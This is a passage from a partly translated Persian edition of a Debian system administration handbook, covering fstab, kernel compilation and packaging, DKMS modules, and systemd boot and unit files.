نوع: این فیلد نشان‌دهنده نوع فایل‌سیستم استفاده شده در روی دستگاه است. ext4، ext3، vfat، ntfs، btrfs و xfs برخی از گزینه‌ها هستند.

بازگشت به مقدمات NFS، یک فایل‌سیستم شبکه

NFS یک فایل‌سیستم تحت شبکه است؛ در لینوکس، اجازه دسترسی بدون واسطه به فایل‌های راه‌دور با درج آن‌ها در فایل‌سیستم محلی را صادر می‌کند.

فهرست کاملی از فایل‌سیستم‌های شناخته شده در صفحه راهنمای mount(8) وجود دارد. مقدار ویژه swap برای پارتیشن‌های swap استفاده می‌شود؛ مقدار ویژه auto به دستور mount می‌گوید که خود نوع فایل‌سیستم را تشخیص دهد (که معمولا برای کارت‌های حافظه و ذخیره‌سازهای USB بسیار مفید است، چرا که هر یک ممکن است فایل‌سیستم جداگانه‌ای داشته باشند)؛

گزینه‌ها: تعداد زیادی هستند که بر اساس نوع فایل‌سیستم متفاوت عمل می‌کنند، آن‌ها در صفحه راهنمای mount مستندسازی شده‌اند. متداول‌ترین آن‌ها عبارتند از

rw یا ro که به معنی دسترسی خواندنی/نوشتی یا فقط خواندنی هستند.

noauto اتصال خودکار هنگام راه‌اندازی اولیه را غیرفعال می‌کند.

nofail به فرآیند راه‌اندای اجازه می‌دهد که در صورت نبودن دستگاه نیز به کار خود ادامه دهد. اطمینان یابید که از این گزینه برای دستگاه‌های خارجی که ممکن است در زمان راه‌اندازی وصل نباشند استفاده می‌کنید، چرا که systemd اطمینان می‌یابد تمام دستگاه‌های مورد نیاز برای اتصال به فایل‌سیستم واقعا وصل شده باشند و اگر این اتفاق نیفتند اجازه پیشروی فرآیند راه‌اندازی سیستم را نمی‌دهد. نکته اینکه می‌توانید آن را با x-systemd.device-timeout=5s ترکیب کرده که به ... بگویید بیش از ۵ ثانیه برای ظاهرشدن دستگاه منتظر نماند (قسمت systemd.mount(5) را مشاهده کنید).

user به تمام کاربران اجازه اتصال به این فایل‌سیستم را می‌دهد (عملیاتی که معمولا محدود به کاربر root است.)

defaults به معنی گروهی از گزینه‌های پیش‌فرض است: rw، suid، dev، exec، auto، nouser و async، که هر کدام در ادامه می‌توانند غیرفعال شوند defaults با اضافه کردن nosuid، nodev و به همین شکل به منظور مسدودکردن suid، dev و سایر موارد. افزودن گزینه user آن‌ها را دوباره فعال می‌کند چرا که defaults شامل nouser می‌شود.

dump: this field is almost always set to 0. When it is 1, it tells the dump tool that the partition contains data that is to be backed up.

pass: this last field indicates whether the integrity of the filesystem should be checked on boot, and in which order this check should be executed. If it is 0, no check is conducted. The root filesystem should have the value 1, while other permanent filesystems get the value 2.

مثال 8.5. نمونه فایل /etc/fstab

# /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc defaults 0 0 # / was on /dev/sda1 during installation UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0 0 /dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

آخرین خط این مثال شامل یک فایل‌سیستم NFS می‌باشد: دایرکتوری /shared/ از سرور arrakis به دایرکتوری /shared/ در سیستم محلی متصل شده است. قالب فایل /etc/fstab در صفحه راهنمای fstab(5) آورده شده است.

مطالعه بیشتر اتصال خودکار

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units (using the .automount suffix). See systemd.automount(5) for their precise syntax.

Other auto-mounting utilities exist, such as automount in the autofs package or amd in the am-utils package.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks, and can automatically mount removable media when they are connected.

8.9.6. locate و updatedb

دستور locate زمانی که بخشی از نام فایل را بدانید می‌تواند برای یافتن محل آن به شما کمک کند. نتیجه این جستجو تقریبا بدون کوچکترین وقفه‌ای نمایش داده می‌شود چرا که از پایگاه‌داده‌ای استفاده می‌کند که شامل تمام فایل‌های موجود در سیستم است؛ این پایگاه‌داده به صورت روزانه توسط دستور updatedb بروزرسانی می‌گردد. پیاده‌سازی‌های گوناگونی از دستور locate وجود دارد و دبیان از mlocate برای سیستم استاندارد خود بهره می‌گیرد.

mlocate به اندازه‌ای هوشمند است که تنها فایل‌هایی را به کاربر نمایش دهد که وی مجاز به مشاهده آن‌ها باشد، با اینکه به تمام فایل‌های موجود روی سیستم دسترسی دارد (از آنجا که پیاده‌سازی updatedb آن با مجوزهای root انجام می‌شود). برای امنیت بیشتر، مدیرسیستم می‌تواند از متغیر PRUNEDPATHS در فایل /etc/updatedb.conf به منظور خارج‌سازی برخی دایرکتوری‌ها از فرآیند شاخص‌گذاری استفاده کند.

8.10. کامپایل یک کرنل

کرنل‌هایی که توسط دبیان ارائه می‌شوند بیشترین تعداد از ویژگی‌های ممکن را دارا هستند، به همراه بیشترین درایورهای پشتیبانی شده به منظور اینکه پاسحگوی طیف گسترده‌ای از پیکربندی‌های سخت‌افزاری باشند. این همان دلیلی است که برخی کاربران ترجیح می‌دهند تنها نیازهای مربوط به خود در نسخه کامپایل شده از کرنل داشته باشند. برای این انتخاب دو دلیل وجود دارد. نخست اینکه برای بهبود بخشیدن عملکرد سیستم، تنها بخشی از کد کرنل که مورد نیاز است کامپایل می‌شود و این کد حتی اگر استفاده نگردد باز حافظه مربوط به خود را اشغال می‌کند (که این حافظه هیچگاه به swap منتقل نمی‌شود چرا که دقیقا حافظه اصلی یا RAM سیستم است) که این کار می‌تواند به کند شدن عملکرد کلی سیستم منجر گردد. دوم اینکه یک کرنل کامپایل شده با نیازهای خاص احتمال بروز مشکلات امنیتی را کاهش داده چرا که تنها بخش مشخصی از کدهای کرنل کامپایل شده‌اند.

نکته بروزرسانی‌های امنیتی

اگر تصمیم به کامپایل‌کردن کرنل خود دارید، باید عواقب آن را نیز بپذیرید: دبیان نمی‌تواند بروزرسانی‌های امنیتی برای کرنل سفارشی شما ارائه دهد. با حفظ و استفاده از کرنلی که دبیان ارائه می‌کند، از بروزرسانی‌هایی که توسط تیم امنیتی دبیان انجام می‌شود بهره‌مند می‌گردید.

کامپایل‌مجدد کرنل تنها زمانی لازم است که بخواهید از قابلیت‌های جدید ارائه شده در patchها استفاده کنید (که در نسخه استاندارد کرنل قرار ندارند).

مطالعه بیشتر کتابچه کرنل در دبیان

The Debian kernel team maintains the “Debian Kernel Handbook” (also available in the debian-kernel-handbook package) with comprehensive documentation about most kernel related tasks and about how official Debian kernel packages are handled. This is the first place you should look into if you need more information than what is provided in this section.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. مقدمه و پیش‌نیاز

تعجبی ندارد که دبیان کرنل را به مانند سایر بسته‌های نرم‌افزاری مدیریت می‌کند، که با شیوه قدیمی کامپایل و نصب کرنل‌ها تفاوت دارد. از آنجا که کرنل در کنترل سیستم بسته‌بندی قرار دارد، به راحتی می‌تواند حذف یا روی دستگاه‌های دیگری نصب گردد. علاوه بر این، اسکریپت‌های موجود در این بسته‌ها عملیات مربوط به راه‌اندازی اولیه سیستم و تولید initrd را انجام می‌دهند.

سورس کد اصلی لینوکس شامل هر آنچه که برای ساخت یک بسته دبیان لازم است، می‌باشد. اما هنوز نیاز به نصب بسته build-essential را دارید تا اطمینان یابید جعبه‌ابزار شما برای ساخت بسته‌های دبیان کامل شده است. علاوه بر این، گام پیکربندی برای کرنل نیازمند بسته libncurses5-dev است. در نهایت، بسته fakeroot امکان ایجاد بسته دبیان بدون استفاده از مجوزهای سطح بالا را فراهم می‌کند.

فرهنگ روزهای خوب kernel-package

قبل از اینکه سیستم build در لینوکس قادر به ایجاد بسته‌های دبیان باشد، روش توصیه شده برای ایجاد چنین بسته‌هایی استفاده از ابزار make-kpkg موجود در بسته kernel-package بود.

8.10.2. دریافت منابع

Like anything that can be useful on a Debian system, the Linux kernel sources are available in a package. To retrieve them, just install the linux-source-version package. The apt search ^linux-source command lists the various kernel versions packaged by Debian. The latest version is available in the Unstable distribution: you can retrieve them without much risk (especially if your APT is configured according to the instructions of قسمت 6.2.6, “کار با چندین توزیع مختلف” ). Note that the source code contained in these packages does not correspond precisely with that published by Linus Torvalds and the kernel developers; like all distributions, Debian applies a number of patches, which might (or might not) find their way into the upstream version of Linux. These modifications include backports of fixes/features/drivers from newer kernel versions, new features not yet (entirely) merged in the upstream Linux tree, and sometimes even Debian specific changes.

The remainder of this section focuses on the 4.19 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-4.19 package has been installed. It contains /usr/src/linux-source-4.19.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel $ tar -xaf /usr/src/linux-source-4.19.tar.xz

فرهنگ محل منابع کرنل

Traditionally, Linux kernel sources would be placed in /usr/src/linux/ thus requiring root permissions for compilation. However, working with administrator rights should be avoided when not needed. There is a src group that allows members to work in this directory, but working in /usr/src/ should be avoided, nevertheless. By keeping the kernel sources in a personal directory, you get security on all counts: no files in /usr/ unknown to the packaging system, and no risk of misleading programs that read /usr/src/linux when trying to gather information on the used kernel.

8.10.3. پیکربندی کرنل

گام بعدی پیکربندی کرنل با توجه به نیاز خودتان است که عملیات دقیق آن به اهداف شما بستگی دارد.

زمانی که نسخه‌ای جدیدتر از کرنل را مجدد کامپایل می‌کنید (احتمالا به همراه یک patch اضافه)، پیکربندی تا آنجا که ممکن است به شیوه دبیان نزدیک خواهد بود. در این مورد، و بجای آنکه همه چیز را از ابتدا پیکربندی کنید، تنها کافی است از فایل /boot/config-version (نسخه‌ای که کرنل کنونی از آن استفاده می‌کند که با استفاده از دستور uname -r قابل خواندن است) در .config که در دایرکتوری شامل سورس کد کرنل می‌باشد، رونوشت بگیرید.

$ cp /boot/config-4.19.0-5-amd64 ~/kernel/linux-source-4.19/.config

اگر قصد تغییر در پیکربندی موجود را ندارید، می‌توانید در این مرحله توقف کرده و به قسمت قسمت 8.10.4, “کامپایل‌کردن و ساختن بسته” بروید. اگر می‌خواهید تغییرات را انجام دهید، از طرف دیگر، یا اینکه همه چیز را از اول پیکربندی کنید، باید زمان برای این ییکربندی سفارشی را مد نظر قرار دهید. رابط‌های انحصاری مختلفی در دایرکتوری سورس کد کرنل وجود دارند که می‌توان با استفاده از دستور make target فراخوانی کرد، که target یکی از مقادیر موجود در زیر است.

make menuconfig یک رابط متنی (که از بسته libncurses5-dev می‌آید) را کامپایل و اجرا می‌کند که اجازه پیمایش گزینه‌های پیکربندی مختلف را به صورت ساختار درختی می‌دهد. فشردن کلید Space مقدار گزینه انتخابی را تغییر می‌دهد و کلید Enter دکمه انتهای صفحه را فرا می‌خواهند؛ Select به زیر منو انتخابی باز می‌گردد؛ Exit صفحه جاری را بسته و به ساختار قبلی باز می‌گردد؛ Help نیز راهنمایی بیشتر درباره گزینه‌های موجود را نمایش می‌دهد. کلیدهای جهت‌نما نیز برای پیمایش در صفحه استفاده می‌شوند. برای خروج از برنامه پیکربندی، Select را از منوی اصلی انتخاب کنید. برنامه درخواست ذخیره‌سازی تغییرات شما را می‌دهد؛ در صورت راضی بودن از تغییرات آن‌ها را تایید کنید.

سایر رابط‌ها نیز عملکرد مشترکی دارند، اما به شیوه برنامه‌های گرافیکی مدرن کار می‌کنند؛ مانند make xconfig که از رابط گرافیکی Qt و make gconfig که از رابط گرافیکی +GTK بهره می‌برند. اولی به کتابخانه libqt4-dev و دومی به کتابخانه‌های libglade2-dev و libgtk2.0-dev نیاز دارند.

هنگام استفاده از این رابط‌ها برای پیکربندی، ایده خوبی است که از یک پیکربندی پیش‌فرض آغاز کنید. کرنل چنین پیکربندی‌هایی را در فایل arch/arch/configs/*_defconfig ارائه داده که می‌توانید آن‌ها را با استفاده از دستور make x86_64_defconfig (در مورد یک رایانه ۶۴ بیتی) یا make i386_defconfig (در مورد یک رایانه ۳۲ بیتی) انتخاب کنید.

نکته مواجهه با فایل‌های قدیمی .config

زمانی که با یک فایل .config تولید شده توسط نسحه قدیمی‌تر کرنل مواجه می‌شوید، باید آن را بروزرسانی کنید. اینکار را می‌توانید با استفاده از make oldconfig که به صورت تعاملی پرسش‌هایی را درباره پیکربندی جدید از شما می‌پرسد انجام دهید. اگر قصد استفاده از پاسخ پیش‌فرض برای پرسش‌ها را دارید می‌توانید از make olddefconfig استفاده کنید. با استفاده از make olddefconfig، فرض بر این است که پاسخ شما به تمام پرسش‌ها منفی است.

8.10.4. کامپایل‌کردن و ساختن بسته

یادداشت تمیزکاری قبل از فرآیند ساخت

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first. If you copied the configuration from /boot/, you must change the system trusted keys option, providing an empty string is enough: CONFIG_SYSTEM_TRUSTED_KEYS = "".

زمانی که پیکربندی کرنل آماده باشد، یک دستور ساده make deb-pkg تا ۵ بسته دبیان را تولید می‌کند: linux-image-version که شامل کرنل و ماژول‌های مربوطه است، linux-headers-version که شامل فایل‌های سرآیند برای ساخت ماژول‌های اضافی است، linux-firmware-image-version که شامل فایل‌های مورد نیاز برخی درایورها است (این بسته هنگامی که از منابع کرنل دبیان استفاده می‌کنید ممکن است وجود نداشته باشد)، linux-image-version-dbg که شامل گزینه‌های عیب‌یابی برای کرنل و ماژول‌های آن است و در نهایت linux-libc-dev که شامل فایل‌های سرآیند برخی برنامه‌های سمت کاربر مانند کتابخانه GNU glibc می‌باشد.

version توسط الحاق نسخه توسعه‌دهنده اصلی (که توسط متغیرهای VERSION، PATCHLEVEL، SUBLEVEL و EXTRAVERSION در فایل Makefile مشخص می‌شود) از LOCALVERSION پارامتر پیکربندی و LOCALVERSION متغیر محلی است. نسخه بسته از همان رشته تولید شده به همراه یک عدد که به صورت ترتیبی افزایش می‌یابد بهره می‌گیرد (که در فایل .version ذخیره می‌شود) مگر آنکه را با استفاده از متغیر محلی KDEB_PKGVERSION بی‌تاثیر سازید.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1 [...] $ ls ../*.deb ../linux-headers-4.19.37-falcot_4.19.37-1_amd64.deb ../linux-image-4.19.37-falcot_4.19.37-1_amd64.deb ../linux-libc-dev_4.19.37-1_amd64.deb

8.10.5. کامپایل‌کردن ماژول‌های خارجی

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telefony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

These packages are many and varied, apt-cache rdepends module-assistant$ can show the list provided by Debian. However, a complete list isn't particularly useful since there is no particular reason for compiling external modules except when you know you need it. In such cases, the device's documentation will typically detail the specific module(s) it needs to function under Linux.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using DKMS. Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

$ sudo apt install dahdi-dkms [...] Setting up xtables-addons-dkms (2.12-0.1) ... Loading new xtables-addons-2.12 DKMS files... Building for 4.19.0-5-amd64 Building initial module for 4.19.0-5-amd64 Done. dahdi_dummy.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/4.19.0-5-amd64/updates/dkms/ [...] DKMS: install completed. $ sudo dkms status dahdi, DEB_VERSION, 4.19.0-5-amd64, x86_64: installed $ sudo modinfo dahdi_dummy filename: /lib/modules/4.19.0-5-amd64/updates/dkms/dahdi_dummy.ko license: GPL v2 author: Robert Pleh <robert.pleh@hermes.si> description: Timing-Only Driver [...]

جایگزین module-assistant

Before DKMS, module-assistant was the simplest solution to build and deploy kernel modules. It can still be used, in particular for packages lacking DKMS integration: with a simple command like module-assistant auto-install dadhi (or m-a a-i dahdi for short), the modules are compiled for the current kernel, put in a new Debian package, and that package gets installed on the fly.

8.10.6. اعمال یک وصله در کرنل

برخی ویژگی‌ها به دلیل مناسب نبودن با استانداردهای کرنل یا عدم تفاهم بین توسعه‌دهندگان آن، در نسخه استاندارد کرنل قرار ندارند. چنین ویژگی‌هایی در قالب وصله یا patch وجود دارند که به صورت آزادانه توسط کاربران می‌توانند به یک نسخه از کرنل اضافه گردند.

Debian sometimes provides some of these patches in linux-patch-* packages, but they often don't make it into stable releases (sometimes for the very same reasons that they are not merged into the official upstream kernel). These packages install files in the /usr/src/kernel-patches/ directory.

برای اعمال یک یا چندی از این وصله‌ها، از دستور patch در دایرکتوری اشاره شده استفاده کنید سپس به کامپایل‌ مجدد کرنل طبق روش‌های بالا بپردازید.

$ cd ~/kernel/linux-source-4.9 $ make clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

نکته اینکه یک وصله مشخص به طور خاص با تمام نسخه‌های کرنل کار نمی‌کند؛ از این رو امکان ناموفق بودن عملیات همراه با دستور patch وجود دارد. یک پیام خطا هنگام بروز چنین مشکلی همراه با جزئیات آن نمایش داده می‌شود؛ در این مورد، به مستندات موجود در بسته دبیان مربوط به فایل وصله (در دایرکتوری /usr/share/doc/linux-patch-*/) مراجعه کنید. در اکثر موارد، نگهدارنده بسته اشاره می‌کند که وصله برای کدام یک از نسخه‌های کرنل کار می‌کند.

8.11. نصب یک کرنل

8.11.1. ویژگی‌های یک بسته کرنل در دبیان

A Debian kernel package installs the kernel image (vmlinuz-version), its configuration (config-version) and its symbols table (System.map-version) in /boot/. The modules are installed in the /lib/modules/version/ directory.

CULTURE The symbols table

The symbols table helps developers understand the meaning of a kernel error message; without it, kernel “oopses” (an “oops” is the kernel equivalent of a segmentation fault for user-space programs, in other words messages generated following an invalid pointer dereference) only contain numeric memory addresses, which is useless information without the table mapping these addresses to symbols and function names.

اسکریپت‌های پیکربندی موجود در بسته یک فایل initrd تولید می‌کنند، که یک سیستم جمع و جور جهت قرارگفتن در حافظه (که از نام آن نیز پیداست، یعنی “initial ramdisk”) توسط راه‌انداز اولیه است و توسط کرنل به منظور بارگیری ماژول‌های مورد نیاز برای دسترسی به دستگاه‌های کاربردی در سیستم دبیان است (برای نمونه، درایور دیسک‌های SATA). در نهایت، اسکریپت‌های پس از نصب اقدام به بروزرسانی پیوندهای نمادین /vmlinuz، /vmlinuz.old، /initrd.img و /initrd.img.old می‌نمایند به منظور اینکه آن‌ها به آخرین دو کرنل نصب شده اشاره کنند، به همراه فایل‌های initrd مربوطه.

اکثر آن فعالیت‌ها توسط اسکریپت‌های موجود در دایرکتوری‌های /etc/kernel/*.d/ انجام مي‌شوند. برای نمونه، انطباق با grub توسط /etc/kernel/postinst.d/zz-update-grub و /etc/kernel/postrm.d/zz-update-grub به منظور فراخوانی update-grub هنگام افزودن یا حذف یک کرنل صورت می‌گیرد.

8.11.2. نصب با استفاده از dpkg

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-4.19.37-falcot_1_amd64.deb.

پیکربندی که گام‌های در فصل به آن‌ها اشاره شد بسیار پایه هستند و می‌توان در هر دو محیط رومیزی و سرور از آن‌ها استفاده کرد و امکان فرآیند خودکارسازی آن‌ها نیز وجود دارد. اگرچه، این کارها به خودی خود یک سیستم کاملا پیکربندی شده را آماده نمی‌کنند. تکه‌های کوچکی هنوز نیاز به پیکربندی دارند، که با برنامه‌های سطح پایینی به نام سرویس‌های یونیکس یا “Unix services” شناخته می‌شوند.

فصل 9. سرویس‌های یونیکس

این فصل به پوشش سرویس‌های پایه‌ای می‌پردازد که در بسیاری از سیستم‌های یونیکس متداول هستند. تمام مدیرسیستم‌ها باید با آن‌ها آشنا باشند.

9.1. راه‌اندازی سیستم

زمانی که رایانه را راه‌اندازی می‌کنید، پیام‌های زیادی که در کنسول به شما نمایش داده می‌شوند نشان‌دهنده عملیات خودکار راه‌اندازی و پیکربندی سیستم هستند. شاید بعضی وقت‌ها بخواهید تغییری در این مرحله ایجاد کنید، که به معنای درک اولیه صحیح از آن است. هدف این قسمت نیز همین است.

ابتدا، BIOS کنترل رایانه را بر عهده می‌گیرد، دیسک‌ها را شناسایی کرده، Master Boot Record را بارگیری می‌کند و به اجرای راه‌اندازسیستم می‌پردازد. راه‌اندازسیستم کنترل را بدست گرفته، کرنل را روی دیسک پیدا می‌کند، آن را بارگیری کرده سپس اجرا می‌کند. کرنل در این مرحله راه‌اندازی شده و به جستجو پارتیشن شامل فایل‌سیستم روت می‌پردازد سپس آن را متصل کرده و اولین برنامه یعنی init را اجرا می‌کند. به طور معمول، این “پارتیشن روت” و این برنامه init، در حفیقت درون یک فایل‌سیستم مجازی در حافظه اصلی به نام “initramfs”، (که سابق بر این با نام “initrd” که مخفف “Initial Ram Disk” است)، قرار دارند. این فایل‌سیستم توسط راه‌اندازسیستم درون حافظه اصلی قرار می‌گیرد، که اغلب از طریق یک فایل روی هارد درایو یا شبکه قابل دسترس است. شامل حداقل امکانات لازم برای کرنل جهت راه‌اندازی فایل‌سیستم روت “حقیقی” است: ممکن است شامل ماژول‌های درایور مورد نیاز هارد درایو، یا دستگا‌ه‌های دیگری که سیستم قادر به راه‌اندازی آن‌ها نیست، یا به طور متداول، اسکریپت‌های راه‌اندازی و ماژول‌های مورد نیاز برای پیکربندی آرایه‌های RAID، بازکردن پارتیشن‌های رمزگذاری شده، فعال‌سازی LVM و مواردی از این دست باشد. زمانی که پارتیشن روت متصل گردید، initramfs کنترل را به init حقیقی می‌سپارد و ماشین به فرآیند راه‌اندازی استاندارد خود باز می‌گردد.

9.1.1. سیستم راه‌انداز systemd

“init حقیقی” توسط systemd ارائه شده است که این قسمت به بررسی آن می‌پردازد.

فرهنگ قبل از systemd

systemd یک “سیستم راه‌انداز” جدید به حساب می‌آید، با اینکه در محیط‌های گوناگونی از قبل وجود داشته است مانند Wheezy، در نسخه Jessie از دبیان بود که به عنوان پیش‌فرض انتخاب شد. انتشارهای سابق آن، به صورت پیش‌فرض، بر اساس “System V init” بودند (در بسته sysv-rc)، یک سیستم قدیمی‌تر در این زمینه. در ادامه به توضیح System V init می‌پردازیم.

جایگزین سایر سیستم‌های راه‌انداز

This book describes the boot system used by default in Debian Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

file-rc یک سیستم راه‌انداز با فرآیندی بسیار ساده است. بر اساس اصول runlevel کار کرده، اما دایرکتوری‌ها و پیوندهای نمادین را با یک فایل پیکربندی جایگزین می‌کند، که به init فرآیندهای مورد نیاز جهت اجرا و ترتیب اجرای هر کدام را نشان می‌دهد.

The upstart system is still not perfectly tested on Debian. It is event based: init scripts are no longer executed in a sequential order but in response to events such as the completion of another script upon which they are dependent. This system, started by Ubuntu, was present in Debian Jessie, but was not the default; it came, in fact, as a replacement for sysvinit, and one of the tasks launched by upstart was to launch the scripts written for traditional systems, especially those from the sysv-rc package.

سیستم‌های راه‌انداز دیگری مانند runit یا minit وجود دارند، اما بسیار خاص منظوره طراحی شده‌اند و از این رو عمومیت ندارند.

شكل 9.1. ترتیب اجرای عملیات راه‌اندازی در لینوکس به همراه systemd

مورد خاص راه‌اندازی از طریق شبکه

در برخی پیکربندی‌ها، BIOS طوری تنظیم می‌شود که نه تنها به دنبال MBR باشد، بلکه معادل آن را از روی شبکه پیدا کند، که اینکار امکان راه‌اندازی رایانه‌های بدون هارد درایو را فراهم می‌کند یا آن‌هایی که به طور کامل در هر مرتبه راه‌اندازی از نو نصب می‌گردند. این گزینه در تمام سخت‌افزارها موجود نیست و به یک ترکیب مناسب از BIOS و کارت شبکه نیاز دارد.

راه‌اندازی از طریق شبکه می‌تواند به اجرای debian-installer یا FAI (قسمت قسمت 4.1, “روش‌های نصب” را مشاهده کنید) ختم گردد.

بازگشت به مقدمات فرآیند، نمونه یک برنامه

یک فرآیند نماد اجرایی یک برنامه داخل حافظه است. شامل تمام اطلاعات لازم برای اجرای صحیح نرم‌افزار می‌باشد (کد برنامه، به همراه داده‌هایی که حافظه اشغال کرده‌اند، فهرست فایل‌هایی که باز کرده است، اتصلات شبکه‌ای که برقرار کرده است و از این قبیل). یک برنامه می‌تواند شامل چندین فرآیند باشد، که الزاما توسط شناسه کاربری‌های متفاوت اجرا نمی‌شوند.

امنیت استفاده از پوسته‌ای مانند init به منظور دسترسی به مجوزهای root

بر اساس قرارداد، اولین برنامه‌ای که اجرا می‌شود init نام دارد (که یک پیوند نمادین به فایل /lib/systemd/systemd است). اگرچه، امکان ارسال گزینه init به کرنل با نام برنامه‌ای دیگر وجود دارد.

هر فردی که قابلیت دسترسی به رایانه را دارد می‌تواند دکمه Reset را فشار دهد و آن را راه‌اندازی مجدد نماید. آنگاه در صفحه راه‌اندازسیستم، امکان ارسال گزینه init=/bin/sh به کرنل جهت دسترسی به حساب کاربری root بدون گذرواژه فراهم می‌آید.

برای جلوگیری از آن، می‌توانید راه‌اندازسیستم را با یک گذرواژه محافظت کنید. همچنین ممکن است بخواهید از BIOS نیز مراقبت کنید (یک مکانیزم محافظت با گذرواژه همیشه موجود است)، که بدون آن یک عامل نفوذی می‌تواند به سادگی سیستم را از طریق یک حافظه جانبی که شامل سیستم لینوکس خودش است راه‌اندازی کند، که از طریق آن می‌تواند به اطلاعات موجود روی هارد درایوها دسترسی داشته باشد.

در نهایت، آگاه باشید که اکثر BIOSها یک گذرواژه متداول دارند. به منظور عیب‌یابی برای افرادی که گذرواژه خود را فراموش می‌کنند، این گذزواژه‌ها عمومی بوده و در اینترنت موجود هستند (جستجوی عبارت “generic BIOS passwords” در یک موتور جستجو). تمام این عملیات محافظتی به منظور مانع شدن از دسترسی غیرمجاز به سیستم است. هیچ روش شناخته‌شده‌ای به منظور محافظت از رایانه وجود ندارد مادامی که مهاجم بتواند به آن دسترسی فیزیکی داشته باشد؛ آن‌ها می‌توانند هارد درایو را از جای خود کنده و با خود ببرند، یا حتی کل ماشین فیزیکی را بدزدند، یا جافظه BIOS را به منظور از بین رفتن گذرواژه پاک کنند.

Systemd executes several processes, in charge of setting up the system: keyboard, drivers, filesystems, network, services. It does this while keeping a global view of the system as a whole, and the requirements of the components. Each component is described by a “unit file” (sometimes more); the general syntax is derived from the widely-used “*.ini files“ syntax, with key = value pairs grouped between [section] headers. Unit files are stored under /lib/systemd/system/ and /etc/systemd/system/; they come in several flavors, but we will focus on “services” and “targets” here.

یک “فایل سرویس” از systemd به یک فرآیند قابل مدیریت توسط آن را توضیح می‌دهد. تقریبا همان اطلاعات اسکریپت‌های قدیمی init را دارا هستند اما به شیوه‌ای نوین و مختصر بیان شده است. systemd عمده فعالیت‌های تکراری را بر عهده می‌گیرد (آغاز و پایان یک فرآیند، بررسی وضعیت آن، گزارش‌گیری، بررسی مجوزها و از این قبیل) و فایل سرویس تنها لازم دارد موارد خاص آن فرآیند را بیان کند. برای نمونه، در اینجا نمونه‌ای از فایل سرویس مربوط به SSH را می‌بینیم:

[Unit] Description=OpenBSD Secure Shell server After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure [Install] WantedBy=multi-user.target Alias=sshd.service

همانطور که مشاهده می‌کنید، کد بسیار کمی در آن وجود دارد، تنها تعریف‌های مورد نیاز. systemd مواردی از قبیل نمایش گزارش‌های پیشرفت، بررسی وضعیت فرآیندها و حتی اجرای مجددشان هر زمان لازم باشد را انجام می‌دهد.

یک “فایل هدف” از systemd به تشریح وضعیت یک سیستم می‌پردازد، که در آن مجموعه‌ای از سرویس‌ها اعمال می‌شوند. این فایل می‌تواند به عنوان معادل قدیمی runlevel فرض شود. یکی از اهداف local-fs.target است؛ زمانی که محقق گردد، باقی سیستم می‌توانند تصور کنند که تمام فایل‌سیستم‌های محلی متصل شده و قابل دسترس هستند. سایر اهداف شامل network-online.target و sound.target می‌شوند. وابستگی‌های یک هدف می‌توانند درون فایل آن نوشته شوند (در خط Requires=) یا از یک پیوند نمادین به یک فایل سرویس در دایرکتوری /lib/systemd/system/targetname.target.wants/ استفاده شوند. برای نمونه، /etc/systemd/system/printer.target.wants/ شامل پیوندی به /lib/systemd/system/cups.service است؛ systemd اطمینان می‌یابد که برای دسترسی به printer.target ابتدا CUPS باید اجرا گردد.

از آنجا که فایل‌های واحد بر خلاف اسکریپت‌ها یا برنامه‌ها جنبه بیانی دارند، به طور مستقیم قابل اجرا نیستند و تنها توسط systemd تفسیر می‌گردند؛ برخی ابزارهای جانبی این امکان را به مدیرسیستم می‌دهند که به صورت تعاملی با systemd برخورد کرده و هر یک از اجزای آن را مدیریت کنند.

اولین ابزار در این زمینه systemctl نام دارد. زمانی که بدون هیچ پارامتری اجرا گردد، به فهرست کردن تمام فایل‌های واحد شناخته‌شده برای systemd می‌پردازد (به جز آن‌هایی که غیرفعال شده‌اند) به همراه وضعیت هر کدام. systemctl status دید مناسب‌تری از سرویس‌ها را ارائه می‌دهد، به همراه فرآیندهای مربوط به هر کدام. اگر نام یک سرویس نیز داده شود (مانند systemctl status ntp.service) جزئیات بیشتری نیز نمایش داده می‌شود به همراه آخرین خطوط گزارش مرتبط با آن (که بعدا به آن می‌رسیم).

